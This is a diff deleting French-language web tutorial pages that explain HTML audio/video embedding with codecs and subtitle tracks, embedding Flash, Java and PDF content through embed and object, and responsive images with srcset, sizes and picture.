Les utilisateurs doivent être en mesure de contrôler la lecture de la vidéo ou du son (ce point est notamment critique pour les personnes epileptiques). Il faut donc utiliser l'attribut controls pour que le navigateur fournisse les contrôles natifs ou alors construire votre propre interface, grâce à l'API JavaScript appropriée. L'interface utilisateur devra, au minimum, fournir un moyen de lancer la lecture, de l'arrêter et d'ajuster le volume.

-
-
{{htmlattrxref("autoplay","video")}}
-
Cet attribut permet de lancer la vidéo ou la piste audio dès qu'elle est chargée et lors du chargement de la page. Attention, de nombreux utilisateurs peuvent trouver ce comportement « agressif ».
-
{{htmlattrxref("loop","video")}}
-
Cet attribut permet de lire la piste audio ou la vidéo en boucle, en la relançant automatiquement une fois qu'elle a fini. Attention également à utiliser cet attribut avec précaution.
-
{{htmlattrxref("muted","video")}}
-
Cet attribut permet de lancer le média avec le son désactivé par défaut.
-
{{htmlattrxref("poster","video")}} (video only)
-
Cet attribut fournit l'URL d'une image à afficher avant de lancer la vidéo.
-
- -

Déjouer les pièges des codecs

- -

Le problème : les navigateurs supportent différents codecs

- -

Les {{Glossary("Codec","codecs")}} (tels que Vorbis ou H.264) permettent de convertir du son et de la vidéo en chiffres binaires et aussi de réaliser la conversion inverse. Mais si on ne dispose pas du bon codec, les données exprimées en binaires seront inexploitables.

- -
Les formats de type « conteneur » (tel que Ogg) : ces formats font référence à la façon dont les données d'images, de son et les méta-données sont regroupées (« empaquetées ») dans un seul fichier. Le support pour les différents types de conteneur est un problème à part entière mais généralement, les systèmes supportenent les formats de conteneurs associés aux codex qu'ils supportent (par exemple Ogg empaquète de l'audio au format Vorbis et de la vidéo au format Theora ; WebM regroupe le plus souvent de l'audio au format Vorbis avec de la vidéo au format VP8/VP9 ; MP4, quant à lui, empaquète de l'audio AAC et de la vidéo H.26).
- -

Malheureusement, les navigateurs ne supportent pas tous les mêmes codecs, il faut donc, la plupart du temps, fournir différents fichiers pour les différents formats.

- -

Quels formats fournir ?

- -

Le format MP3 (pour l'audio) et le format MP4/H.264 (pour la vidéo) sont très largement supportés. Cepedant, des brevets américains portent sur le format MP3 jusqu'en 2017 au minimum et sur le format H.264 jusqu'en 2027 au minimum. Beaucoup de personnes préfèrent éviter d'utiliser des logiciels restreints à ces brevets, c'est pour cela qu'il est nécessaire de mettre à disposition les fichiers multimédia dans des formats libres (tel qu'Ogg Vorbis pour l'audio et WebM pour la vidéo).

- -

Dans un monde idéal, à la façon de Wikipédia, il suffirait de fournir les fichiers uniquement dans ces formats ouverts. Cependant, des navigateurs comme Safari et Microsoft Edge (sans parler d'Internet Explorer) ne supportent pas ces formats. Cela laisserait donc beaucoup d'utilisateurs potentiels sur le banc.

- -

Pour plus de détails sur cette compatibilité, consultez notre tableau de compatibilité pour les codecs audio et notre tableau de compatibilité pour les codecs audio-vidéo.

- -

Comment fournir le même contenu sous plusieurs formats ?

- -

HTML fournit l'élément {{htmlelement("source")}} qui peut être utilisé avec l'attribut {{htmlattrxref("src","source")}}. Cet attribut, src, ne doit pas être placé au sein même de l'élément <video> ou <audio> car il remplacerait alors le contenu déclaré dans les éléments <source>. Voici un exemple :

- -
<audio controls>
-  <source src="exemple.mp3" type="audio/mpeg">
-  <source src="exemple.ogg" type="audio/ogg">
-</audio>
- -
-

Assurez-vous de ne pas oublier l'attribut {{htmlattrxref("type","source")}}. S'il manque, les navigateurs chargeront et essaieront chaque fichier, ce qui prendra plus de temps et consommera plus de ressources. type permet aux navigateurs de sauter tous les fichiers qu'ils ne peuvent pas lire. Dans cet article sur les formats de médias supportés, les {{glossary("type MIME","types MIME")}} les plus communs sont explicités.

-
- -

Les transcriptions et les sous-titres

- -

Transcrire signifie ici qu'on écrit les dialogues oraux sont forme de texte.

- -

De nombreuses personnes ne peuvent pas (ou ne veulent pas) utiliser des contenus audio ou vidéos (par exemple dans un environnement bruyant ou dans une bibliothèque). Pour que votre site puisse être consulté par ces visiteurs, il est donc nécessaire de fournir une transcription textuelle du média ainsi qu'une « piste » de texte qui s'affiche en même temps que la vidéo. Cela prend du temps à réaliser mais cela en vaut le coût..

- -

Les pistes textuelles permettent également d'avoir un meilleur impact pour le référencement ({{glossary("SEO")}}) car les moteurs de recherches utilisent principalement le contenu textuel. Un dialogue d'une vidéo pourra donc être référencé s'il est transcrit.

- -

Les pistes textuelles

- -

Les chaînes de texte affichées durant une vidéo peuvent prendre différentes formes, dont voici les principales :

- -
-
Les sous-titres
-
La traduction des dialogues à l'écrit, éventuellement dans une langue autre que celle parlée dans la vidéo.
-
La description
-
Une transcription synchronisée des dialogues et les descriptions des sons entendus dans la vidéo (ce qui permet aux personnes de regarder un film sans le son par exemple)
-
L'audio-description
-
Du texte, décrivant les scènes qui est fourni en audio (notamment pour les personnes souffrant d'une déficience visuelle).
-
- -

HTML permet d'inclure facilement de telles pistes :

- -
    -
  1. Il faut écrire un ou plusieurs fichiers texte WebVTT. Un fichier WebVTT contient les textes à utiliser et définit à quels moment ces textes doivent apparaître ou disparraître (dans ces cas, avoir une bonne transcription dès le début aide énormément).
    2. -
  2. Puis lier le ou les fichiers WebVTT à l'élément {{htmlelement("track")}}. <track> se place dans les éléments <audio> ou <video> et est situé après les éléments <source>. L'attribut {{htmlattrxref("kind","track")}} doit être utilisé pour indiquer s'il s'agit de subtitles (sous-titres), captions (description) ou de descriptions (audio description). L'attribut {{htmlattrxref("srclang","track")}} peut également être utilisé pour compléter et indiquer au navigateur le langage utilisé pour les sous-titres.
    3. -
- -

Voici un exemple :

- -
<video controls>
-    <source src="exemple.mp4" type="video/mp4">
-    <source src="exemple.webm" type="video/webm">
-    <track kind="subtitles" src="sous-titres-en.vtt" srclang="en">
-</video>
- -

Pour plus de détails, n'hésitez pas à lire l'article décrivant comment ajouter des sous-titres et légendes à une vidéo HTML5.

- -

Contenu de secours pour les navigateurs historiques

- -

Il est possible d'ajouter un contenu qui sera utilisé dans le cas où le navigateur ne connaît pas ces éléments HTML5. Ce contenu doit être ajouté avant la balise de fermeture. Il est par exemple possible d'ajouter un lien de téléchargement vers le fichier média :

- -
<video src="exemple.webm" controls>
-    <track kind="captions" src="captions.vtt" srclang="fr">
-    <a href="exemple.webm">Télécharger la vidéo</a>
-</video>
- -

Un lien de téléchargement n'est pas parfaitement adapté pour tous les utilisateurs (notamment pour ceux qui sont sur des mobiles) mais c'est une meilleure solution que d'indiquer uniquement que le navigateur doit être mis à jour. Il existe des techniques plus avancées pour répondre à ce cas mais une solution rapide à mettre en œuvre consiste à utiliser les plateformes vidéos évoquées au début de cet article, qui fournissent un script tiers fonctionnel.

- -

En savoir plus

- - diff --git a/files/fr/apprendre/html/comment/ajouter_contenu_flash_dans_page_web/index.html b/files/fr/apprendre/html/comment/ajouter_contenu_flash_dans_page_web/index.html deleted file mode 100644 index fcbe0b40c9..0000000000 --- a/files/fr/apprendre/html/comment/ajouter_contenu_flash_dans_page_web/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Ajouter du contenu Flash dans une page web -slug: Apprendre/HTML/Comment/Ajouter_contenu_Flash_dans_page_web -tags: - - Accessibility - - Advanced - - Flash - - Guide - - HTML -translation_of: >- - Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#The_%3Cembed%3E_and_%3Cobject%3E_elements -translation_of_original: Learn/HTML/Howto/Add_Flash_content_within_a_webpage ---- -
-

Cet article illustre pourquoi il est nécessaire que le contenu d'une page web soit accessible sans plugin. Si vous avez besoin de tels plugins (pour un cas bien spécifique ou pour des raisons historiques), nous illustrerons également un cas expliquant comment intégrer du contenu de cette façon.

-
- - - - - - - - - - - - -
Prérequis :Vous devez savoir comment créer un document HTML basique.
Objectifs :Cet article aborde les méthodes pour insérer du contenu, dépendant d'extensions tierces, dans une page web.
- -
-

Résumé : Des plugins comme Flash représentent une technologie passée, notamment sur les appareils mobiles où ils ne sont pas disponibles. Les navigateurs destinés aux ordinateurs de bureau vont également abandonner leur support.

-
- -

Tourner son clavier sept fois sur son bureau avant de dépendre de plugins tiers

- -

Un plugin est un logiciel qui permet d'accéder à un contenu que le navigateur ne peut pas lire/décoder nativement. Il était une fois, les plugins étaient indispensables sur le Web. Il y a quelques années, installer Adobe Flash Player était un passage obligé pour regarder un film en ligne. À cette époque, on avait également de (trop) nombreuses alertes pour mettre à jour Flash Player ou Java Runtime Environment.

- -

Depuis, les technologies web ont grandi et aquis une certaine maturité et une certaine robustesse. Pour la plupart des application, il est donc temps d'arrêter de dépendre de ces plugins et de tirer parti des technologies web. Cela permettra :

- - - -

Que faire ? Si vous avez besoin d'une certaine intéractivité sur votre page, {{glossary("JavaScript")}} vous permettra sans aucun doute d'accomplir ce dont vous avez besoin, sans avoir à utiliser d'applets Java ou de composants ActiveX/BHO. Plutôt que d'utiliser Adobe Flash, vous pouvez utiliser la vidéo HTML5 pour les cas où vous avez besoin de médias, SVG pour les graphiques vectoriels et Canvas pour réaliser des images et animations complexes. Plusieurs années auparavant, Peter Elst écrivait déjà qu'Adobe Flash était rarement le meilleur outil pour développer sur le Web, notamment pour les jeux et les applications d'entreprises. En ce qui concerne ActiveX, même le navigateur de Microsoft, {{glossary("Microsoft Edge","Edge")}}, ne le supporte plus.

- -

L'histoire de deux balises

- -

Si vous devez dépendre de plugins pour un cas spécifique ou lié au cadre d'une entreprise donnée, HTML fournit deux élément pour intégrer du contenu provenant d'un plugin : {{htmlelement("embed")}} et {{htmlelement('object')}}. Il faut noter qu'<embed> est un élément vide, à la différence de <object>.

- -

Il faudra donc utiliser les attributs pour fournir certaines informations :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 {{htmlelement("embed")}}{{htmlelement("object")}}
L'{{glossary("URL")}} du contenu à intégrer{{htmlattrxref('src','embed')}}{{htmlattrxref('data','object')}}
Le type {{glossary("MIME")}} précis du contenu à intégrer{{htmlattrxref('type','embed')}}{{htmlattrxref('type','object')}}
La hauteur et la largeur, exprimées en pixels CSS, de la boîte contrôlée par le plugin{{htmlattrxref('height','embed')}}
- {{htmlattrxref('width','embed')}}		{{htmlattrxref('height','object')}}
- {{htmlattrxref('width','object')}}
Les noms et valeurs à founir comme paramètres au pluginDes attributs ad hoc avec les noms et les valeursDes éléments sur une seule balise {{htmlelement("param")}} contenus dans la balise <object>
Du contenu HTML indépendant à utiliser en secours au cas où la ressource à intégrer n'est pas disponibleNon supporté (<noembed> est obsolète)Contenus dans la balise <object>, après les éléments <param>
- -
-

<object> a besoin d'un attribut data ou d'un attribut type ou des deux. SI vous utilisez les deux, il faudra peut être utiliser l'attribut  {{htmlattrxref('typemustmatch','object')}} (uniquement implémenté dans Firefox à l'heure où cet article est écrit). typemustmatch permet au contenu intégré de ne pas être lancé tant que l'attribut type ne correspond pas au type du média. typemustmatch permet ainsi d'apporter beaucoup plus de sécurité lorsqu'on intègre du contenu provenant d'une autre {{glossary("origine")}} (cela peut empêcher des attaquants malveillants de lancer des scripts modifiés au travers du plugin).

-
- -

Les deux exemples utilisent chacun <embed> ou <object> pour insérer un film Flash, <object> permet également de gérer un contenu à utiliser en cas de secours :

- -
<embed
-  src="explosion.swf"
-  type="application/vnd.adobe.flash-movie"
-  width="500"
-  height="300"
-  bgcolor="#ff7f00"
-  allowfullscreen="true"
-/>
- -
<object
-  data="explosion.swf"
-  type="application/vnd.adobe.flash-movie"
-  width="500"
-  height="300"
-  typemustmatch>
-    <param name="bgcolor" value="#ff7f00" />
-    <param name="allowfullscreen" value="true" />
-
-    <p>Le film Flash n'a pu être trouvé.</p>
-</object>
-
- -

Afin d'être tout à fait complet, voici deux exemples supplémentaires. Encore une fois, il est (de loin) préférable d'utiliser JavaScript que des applets Java car le navigateur exécutera directement le code JavaScript sans passer par un environnement tiers, lourd. Ceci étant dit, voilà comment utiliser l'élément <object> pour insérer une applet Java :

- -
<object
-  data="mon_applet.jar"
-  type="application/x-java-applet">
-    <param name="code" value="MaClasseJava">
-
-    <p>Java n'est pas disponible ou est désactive.</p>
-</object>
-
- -

Un autre cas où on a besoin de faire appel à <object> : les fichiers PDF. Ces fichiers posent de nombreux problèmes d'accessibilité, notamment pour les utilisateurs qui utilisent un petit écran. Il ne devrait pas être absolument nécessaire de lire un PDF pour consulter un site web (imaginez si tous les sites web étaient uniquement disponibles en largeur fixe). Toutefois, si vous avez besoin d'intégrer un contenu PDF, voici comment le faire dans votre page web :

- -
<object
-  data="mon_fichier.pdf"
-  type="application/pdf"
-  width="100%"
-  height="100%"
-  typemustmatch>
-    <p>Vous n'avez pas de plugin pour lire des fichiers PDF mais vous pouvez
-    <a href="mon_fichier.pdf">télécharger le fichier PDF correspondant.</a></p>
-</object>
-
- -

En savoir plus

- - diff --git "a/files/fr/apprendre/html/comment/ajouter_des_images_adaptatives_\303\240_une_page_web/index.html" "b/files/fr/apprendre/html/comment/ajouter_des_images_adaptatives_\303\240_une_page_web/index.html" deleted file mode 100644 index 8aa1cd799b..0000000000 --- "a/files/fr/apprendre/html/comment/ajouter_des_images_adaptatives_\303\240_une_page_web/index.html" +++ /dev/null @@ -1,272 +0,0 @@ ---- -title: Images adaptatives -slug: Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_à_une_page_web -tags: - - Design - - Débutant - - Graphics - - Guide - - HTML - - Image - - Intermediate - - Intermédiaire - - img - - picture - - sizes - - srcset -translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}
- -
-

Dans cet article, nous allons préciser le concept d'images adaptatives — images qui s'adaptent aux appareils selon les différentes tailles d'écran, résolutions et autres caractéristiques de ce type — et examiner les outils fournis par HTML pour faciliter leur mise en œuvre. Les images adaptatives ne sont qu'une part (elles préparent le terrain) dans la conception de sites Web adaptatifs, sujet sur lequel vous en apprendrez beaucoup plus dans un futur module au sujet des CSS.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez savoir comment créer un document HTML simple et comment ajouter des images statiques à une page web.
Objectifs :Apprendre comment utiliser des fonctionnalités comme {{htmlattrxref("srcset", "img")}} et l'élément {{htmlelement("picture")}}  pour implémenter des solutions d'images adaptatives sur les sites Web.
- -

Pourquoi des images adaptatives ?

- -

Quel problème essayons-nous de résoudre avec des images adaptatives ? Examinons un scénario typique. Un site Web classique a probablement une image d'en-tête pour flatter le regard du visiteurs, plus peut-être quelques images de contenu plus loin. Vous voulez probablement que l'image d'en-tête couvre toute la largeur de l'en-tête et que l'image de contenu s'insère quelque part à l'intérieur de la colonne de contenu. Voyons un exemple simple :

- -

Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center.

- -

Cela fonctionne bien sur un appareil avec un grand écran, comme un portable ou un ordinateur de bureau (vous pouvez voir cet exemple en direct et trouver son code source sur Github). Nous ne nous attarderons pas sur les CSS, excepté pour préciser ceci :

- - - -

Tout cela c'est très bien, mais le problème vient quand vous commencez à regarder le site sur un écran étroit — l'en-tête semble correct, mais commence à prendre beaucoup de hauteur pour un mobile, et la première image de contenu d'autre part n'est pas terrible — à cette taille, vous avez du mal à distinger les personnes !

- -

Our example site as viewed on a narrow screen; the first image has shrunk to the point where it is hard to make out the detail on it.

- -

Quand le site est vu sur un écran étroit, il serait préférable de montrer une version recadrée de l'image sur les parties importantes de la vue au lieu de faire voir des bâtisses, et peut-être quelque chose entre les deux pour un écran de largeur moyenne comme une tablette — ce problème relève de décisions de nature artistique.

- -

De plus, il n'est pas nécessaire d'intégrer des images aussi volumineuses sur une page destinée à être affichée sur l'écran minuscule d'un mobile ; c'est le problème des changements de résolution — une image matricielle est définie sur un certain nombre de pixels de large et un certain nombre de pixels de haut ; comme on a pu le voir à propos des graphiques vectoriels, une image matricielle paraît grenue et horrible si elle est affichée plus grande que sa taille d'origine (alors qu'un graphique vectoriel ne l'est pas). Et si elle est montrée significativement plus petite que sa taille d'origine, c'est un gaspillage de bande passante — les utilisateurs de mobiles en particulier ne veulent pas cramer de leur bande passante en téléchargeant une grande image destinée à des ordinateurs de bureau, alors qu'une petite image ferait l'affaire pour leur appareil. La solution idéale serait d'avoir plusieurs résolutions disponibles et de servir des tailles appropriées selon le type d'appareil accédant au site Web.

- -

Pour compliquer encore plus les choses, certains appareils ont des écrans à haute résolution, écrans qui ont besoin d'images plus grandes que ce à quoi on pourrait s'attendre  pour s'afficher correctement. Il s'agit pratiquement du même problème, mais dans un contexte légèrement différent.

- -

Vous pouvez penser que des images vectorielles sont la solution à ces problèmes : elles le sont dans une certaine mesure — elles sont à la fois de petite taille et se mettent à l'échelle : utilisez‑les partout où c'est possible. Mais elles ne conviennent pas à tous les types d'images — parfaites pour des graphiques simples, des motifs, des éléments d'interface, etc., il devient très compliqué de créer une image vectorielle avec le genre de détails que l'on trouve dans une photo, par exemple. Les formats matriciels comme JPEG sont plus adaptés au type d'images affichés dans l'exemple ci-dessus.

- -

Ce type de problème n'existait pas quand le Web a vu le jour, du début jusqu'au milieu des années 90 — à l'époque, les seuls appareils permettant de naviguer sur le Web étaient les ordinateurs de bureau et les portables, de sorte que les ingénieurs et rédacteurs de spécifications pour les navigateurs ne pouvaient même pas imaginer l'existence de ces problèmes. Pour résoudre les problèmes indiqués ci-dessus, les techniques d'images adaptatives sont de mise en œuvre récente : elles offrent au navigateur plusieurs fichiers d'images, soit montrant tous la même chose mais avec un nombre de pixels différent (commutation de résolution), soit des images différentes selon l'espace alloué (décisions artistiques).

- -
-

Note : Toutes les nouvelles fonctionnalités présentées dans cet article — {{htmlattrxref("srcset", "img")}}/{{htmlattrxref("sizes", "img")}}/{{htmlelement("picture")}} — sont toutes prises en charge dans les parutions d'explorateurs récemment publiées pour les ordinateurs de bureau et pour les mobiles (y compris l'explorateur Edge de Microsoft,  même si ce n'est pas le cas d'Internet Explorer.) 

-
- -

Comment créer des images adaptatives ?

- -

Dans ce paragraphe, nous allons examiner les deux problèmes illustrés ci-dessus et montrer comment les résoudre à l'aide des fonctions d'images adaptatives du HTML. Notez que nous nous focaliserons sur l'élément {{htmlelement("img")}} du HTML dans cette section, comme vous avez pu le voir dans la zone de contenu de l'exemple ci-dessus — l'image d'en-tête du site n'est là que pour la décoration, et donc implémenté en utilisant des images de fond du CSS. CSS a sans doute de meilleurs outils que le HTML pour la conception adaptative : nous en parlerons dans le module CSS à venir.

- -

Commutations de résolution : tailles différentes

- -

Alors, quel est le problème à résoudre à l'aide des commutations de résolution ? Nous voulons afficher un contenu d'image identique, juste plus grand ou plus petit selon l'appareil — c'est la situation de la deuxième image du contenu de notre exemple précédent. L'élément standard {{htmlelement("img")}} vous permet classiquement de ne faire pointer le navigateur que vers un seul fichier source :

- -
<img src="elva-fairy-800w.jpg" alt="Elva habillée en fée">
- -

Mais il est possible d'utiliser deux nouveaux attributs — {{htmlattrxref("srcset", "img")}} et {{htmlattrxref("sizes", "img")}} — permettant de fournir plusieurs images source avec des indications pour permettre à l'explorateur de faire le bon choix. Vous trouverez un exemple de cela dans le fichier responsive.html sur Github (voyez aussi le code source) :

- -
<img srcset="elva-fairy-320w.jpg 320w,
-             elva-fairy-480w.jpg 480w,
-             elva-fairy-800w.jpg 800w"
-     sizes="(max-width: 320px) 280px,
-            (max-width: 480px) 440px,
-            800px"
-     src="elva-fairy-800w.jpg" alt="Elva habillée en fée">
- -

Les attributs srcset et sizes paraissent complexes, mais ils ne sont pas difficiles à comprendre si vous les formatez comme indiqué ci-dessus, avec une partie différente de la valeur de l'attribut sur chaque ligne. Chaque valeur contient une liste séparée par des virgules et chaque partie de la liste est composée de trois sous-parties. Passons en revue leur contenu maintenant :

- -

srcset definit l'ensemble des images offertes au choix du navigateur, et la taille de chaque image. Avant chaque virgule, nous avons écrit :

- -
    -
  1. un nom de fichier image (elva-fairy-480w.jpg),
    2. -
  2. un espace,
    3. -
  3. la largeur intrinsèque en  pixels (480w) — notez l'utilisation de l'unité w, et non px comme vous auriez pu penser. C'est la taille réelle de l'image; qui peut être trouvée en examinant les propriétés du fichier image sur l'ordinateur  (par exemple sur un Mac, sélectionnez l'image dans le Finder, puis appuyez sur Cmd + I pour faire apparaître l'écran des infos).
    4. -
- -

sizes définit un ensemble de conditions pour le média (par ex. des largeurs d'écran) et indique quelle taille d'image serait la plus adaptée si certaines conditions sont satisfaites — ce sont les conditions dont nous avons parlé plus haut. Dans ce cas, nous écrivons avant chaque virgule

- -
    -
  1. une condition pour le média ((max-width:480px)) — vous pourrez en savoir plus à ce propos dans l'article sur les CSS, mais pour le moment disons simplement que cette condition pour le média décrit un état possible de l'écran. Dans notre cas, nous disons « si la largeur de fenêtre est de 480 pixels ou moins »,
    2. -
  2. une espace,
    3. -
  3. la largeur de la place occupée par l'image si la condition pour le média est vraie (440px).
    4. -
- -
-

Note : Pour définir une largeur d'emplacement, vous pouvez indiquer une taille absolue (px, em) ou relative au viewport (vw), mais pas en pourcentage. Vous avez peut‑être noté que la dernière largeur d'emplacement  ne comporte pas d'indication pour le média — c'est la valeur par défaut retenue quand aucune des conditions n'est vraie). L'explorateur ignore tout ce qui suit dès la première condition concordante ; donc soyez attentif à l'ordre de ces conditions pour le média.

-
- -

Ainsi, une fois ces attributs en place, l'explorateur va :

- -
    -
  1. noter la largeur du périphérique,
    2. -
  2. vérifier quelle est la première condition vraie pour le média dans la liste des tailles,
    3. -
  3. noter la largeur d'emplacement demandée par le média,
    4. -
  4. charger l'image référencée dans la liste srcset qui est la plus proche de la taille choisie.
    5. -
- -

Et c'est tout ! Donc à ce stade, si un navigateur prenant en charge une largeur de vue de 480 px charge la page, la condition pour le média (max-width: 480px) sera vraie, donc une largeur d'emplacement de 440px sera choisie, donc le fichier elva-fairy-480w.jpg sera chargé, car sa largeur intrinsèque (480w) est celle qui est la plus proche de 440px. L'image 800 px a une taille de 128 Ko sur disque alors que la version 480 px n'occupe que 63 Ko — une économie de 65Ko. Imaginez maintenant qu'il s'agisse d'une page avec beaucoup d'images. L'utilisation de cette technique peut permettre aux utilisateurs de mobiles d'économiser beaucoup de bande passante.

- -

Les explorateurs les plus anciens qui ne prennent pas en charge ces fonctionnalités les ignorent; poursuivent et chargent normalement l'image référencée dans l'attribut {{htmlattrxref("src", "img")}}.

- -
-

Note : Dans l'élément {{htmlelement("head")}} du document, vous trouvez la ligne <meta name="viewport" content="width=device-width"> : ceci force les explorateurs de mobiles de prendre la largeur réelle de leur vue pour charger des pages web (certains explorateurs de mobile mentent à propos de la largeur de leur vue, et à la place chargent des pages pour une vue plus large, puis rétrécissent la page chargée, ce qui n'est pas vraiment une aide pour les pages adaptatives ou pour la conception. Nous vous en dirons plus à ce propos dans un module à venir.)

-
- -

Outils de développement

- -

Il y a quelques outils de développement utiles dans les navigateurs pour vous aider à déterminer les largeurs d'affichage nécessaires, etc, que vous devez utiliser. Pour les déterminer, j'ai d'abord chargé la version non adaptative de l'exemple (not‑responsive.html), puis je suis allé dans Responsive Design View (Outils > Développement Web > Vue adaptative), qui vous permet de regarder les mises en page Web comme si elles étaient visualisées à travers un éventail de tailles d'écran d'appareils différents.

- -

J'ai réglé la largeur de la fenêtre à 320px puis 480px ; pour chacun, je suis allé dans l'inspecteur DOM, j'ai cliqué sur l'élément {{htmlelement("img")}}} qui nous intéresse, puis j'ai regardé sa taille dans l'onglet Box Model View sur le côté droit de l'écran. Cela devrait vous donner les largeurs intrinsèques d'image dont vous avez besoin.

- -

A screenshot of the firefox devtools with an image element highlighted in the dom, showing its dimensions as 440 by 293 pixels.

- -

Ensuite, vous pouvez vérifier si srcset fonctionne en réglant la largeur de la fenêtre sur ce que vous voulez (par exemple une largeur étroite), en ouvrant Network Inspector (Outils > Développement Web > Réseau), puis en rechargeant la page. Ceci devrait vous donner une liste des ressources téléchargées pour dresser la page web, et ici vous pouvez vérifier quel fichier image a été choisi pour le téléchargement.

- -
-

Note : Utilisez Mozilla Firefox pour tester srcset. Chrome charge la meilleure image dans le cache de l'explorateur, ce qui empêche de la tester dans les outils de développement.

-
- -

a screenshot of the network inspector in firefox devtools, showing that the HTML for the page has been downloaded, along with three images, which include the two 800 wide versions of the responsive images

- -

Commutation de résolution : même taille, résolutions differentes

- -

Si votre ordinateur prend en charge plusieurs résolutions d'affichage, mais que tout le monde voit l'image avec la même taille effective sur l'écran, vous pouvez permettre au navigateur de choisir une image de résolution appropriée en utilisant srcset avec x-descriptors et sans sizes — une syntaxe un peu plus facile en quelque sorte ! Vous pouvez trouver un exemple de ce à quoi cela ressemble dans srcset-resolutions.html (voir aussi le code source) :

- -
<img srcset="elva-fairy-320w.jpg,
-             elva-fairy-480w.jpg 1.5x,
-             elva-fairy-640w.jpg 2x"
-     src="elva-fairy-640w.jpg" alt="Elva habillée en fée">
-
- -

A picture of a little girl dressed up as a fairy, with an old camera film effect applied to the imageDans cet exemple, le CSS suivant est appliqué à l'image de façon à ce qu'elle ait une largeur de 320 pixels à l'écran (également nommée pixels CSS) :

- -
img {
-  width: 320px;
-}
- -

Dans ce cas, sizes n'est pas nécessaire — le navigateur détermine simplement la résolution d'affichage de l'écran et montre l'image la plus appropriée référencée dans srcset. Donc si le dispositif accédant à la page a un affichage standard/basse résolution, avec un pixel de dispositif représentant chaque pixel CSS, l'image elva-fairy-320w.jpg sera chargée (le 1x est implicite, donc vous n'avez pas besoin de l'inclure.) Si le dispositif a une haute résolution de deux pixels de dispositif par pixel CSS ou plus, l'image elva‑fairy-640w.jpg sera chargée. L'image 640px a une taille de 93 Ko, alors que l'image 320 px n'a qu'une taille de 39 Ko.

- -

Décision de nature artistique

- -

Pour résumer, le problème des décisions de nature artistique réside dans le choix des modifications à apporter à l'image selon les diverses tailles d'affichage. Par exemple, si un instantané d'un grand plan paysager avec une personne au milieu, correctement affiché sur un site Web avec le navigateur d'un ordinateur de bureau, est rétréci lorsque ce même site est visionné sur un navigateur de mobile, cet instantané risque d'avoir mauvaise mine, car la personne sera vraiment minuscule et difficile à voir. Il serait probablement préférable de montrer sur un mobile une image portrait plus petite d'un zoom sur la personne. L'élément {{htmlelement("picture")}} nous permet d'implémenter ce type de solution.

- -

Revenons à notre exemple initial du fichier not-responsive.html. Cette image nécessite d'opérer un choix de nature artistique :

- -
<img src="elva-800w.jpg" alt="Chris debout tenant sa fille Elva dans ses bras">
- -

Arrangeons cela avec {{htmlelement("picture")}}} ! Comme pour <vidéo> et <audio>, l'élément <picture> est une enveloppe conteneur de plusieurs éléments {{htmlelement("source")}}} ; ces éléments indiquent plusieurs sources différentes entre lesquelles le navigateur peut choisir ; ils sont suivis du très important élément {{htmlelement("img")}}}. Le code dans responsive.html ressemblera à :

- -
<picture>
-  <source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg">
-  <source media="(min-width: 800px)" srcset="elva-800w.jpg">
-  <img src="elva-800w.jpg" alt="Chris debout tenant sa fille Elva dans ses bras">
-</picture>
-
- - - -

Ce code nous permet d'afficher une image adaptée à la fois sur un écran large et sur un écran étroit, comme montré ci‑dessous :

- -

Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center.Our example site as viewed on a narrow screen with the picture element used to switch the first image to a portrait close up of the detail, making it a lot more useful on a narrow screen

- -
-

Note : Vous ne devez utiliser l'attribut media qu'avec un scénario de décision de nature artistique ; quand vous utilisez media, ne mettez pas de conditions pour le média avec l'attribut sizes.

-
- -

Pourquoi ne peut-on pas réaliser cela avec le CSS ou du JavaScript ?

- -

Lorsque le navigateur commence à charger une page, il commence à télécharger (précharger) toutes les images avant que l'analyseur principal n'ait commencé à charger et à interpréter le CSS et le JavaScript de la page. Cette technique est utile car elle permet de réduire de 20 % en moyenne le temps de chargement des pages. Cependant, elle n'est d'aucune aide pour les images adaptatives, d'où la nécessité de mettre en œuvre des solutions comme srcset. Vous ne pourriez pas, par exemple, charger l'élément {{htmlelement("img")}}}, puis détecter la largeur de fenêtre avec JavaScript et changer dynamiquement l'image source pour une image plus petite si désiré. A ce moment-là, l'image originale aurait déjà été chargée, et vous chargeriez en plus la petite image, ce qui est encore pire en termes d'image adaptative.

- - - -

Utilisez largement les formats d'image modernes

- -

Il existe plusieurs nouveaux formats d'image très interessants (comme WebP et JPEG-2000) qui sont à la fois de taille réduite et de haute qualité. Toutefois, la prise en charge par les navigateurs est ponctuelle.

- -

<picture> nous permet de servir encore les plus vieux explorateurs. Vous pouvez indiquer le type MIME dans les attributs type de façon à ce que l'explorateur puisse immédiatement rejeter les types de fichiers non pris en charge :

- -
<picture>
-  <source type="image/svg+xml" srcset="pyramid.svg">
-  <source type="image/webp" srcset="pyramid.webp">
-  <img src="pyramid.png" alt="Pyramide régulière constituée de quatre triangles équilatéraux">
-</picture>
-
- - - -

Apprentissage actif : mise en œuvre de vos images adaptatives

- -

Pour cet apprentissage actif, nous attendons que vous soyiez courageux et que vous y alliez seul.... la plupart du temps. Nous souhaitons que vous preniez une décision artistique en mettant en place vos  propres écrans étroit et large en utilisant <image>, et un exemple de commutation de résolution en utilisant srcset.

- -
    -
  1. Écrivez un HTML simple contenant votre code (utilisez not-responsive.html comme point de départ si vous voulez)
    2. -
  2. Trouvez une jolie image de paysage de grande largeur avec quelques détails à l'intérieur. Créez une version taille web de cette dernière avec un éditeur graphique, puis découpez en une partie plus petite qui zoome sur un des détails, et créez une deuxième image (une largeur de l'ordre de 480 px conviendra parfaitement).
    3. -
  3. Utilisez l'élément <picture> pour implémenter une bascule d'image en décision artistique !
    4. -
  4. Créez plusieurs fichiers image de tailles différentes, chacun montrant la même image.
    5. -
  5. Utilisez srcset/size pour créer un exemple de commutateur de résolution, soit pour servir une image de même taille avec différentes résolutions, ou diverses tailles d'images avec diverses largeur de vue.
    6. -
- -
-

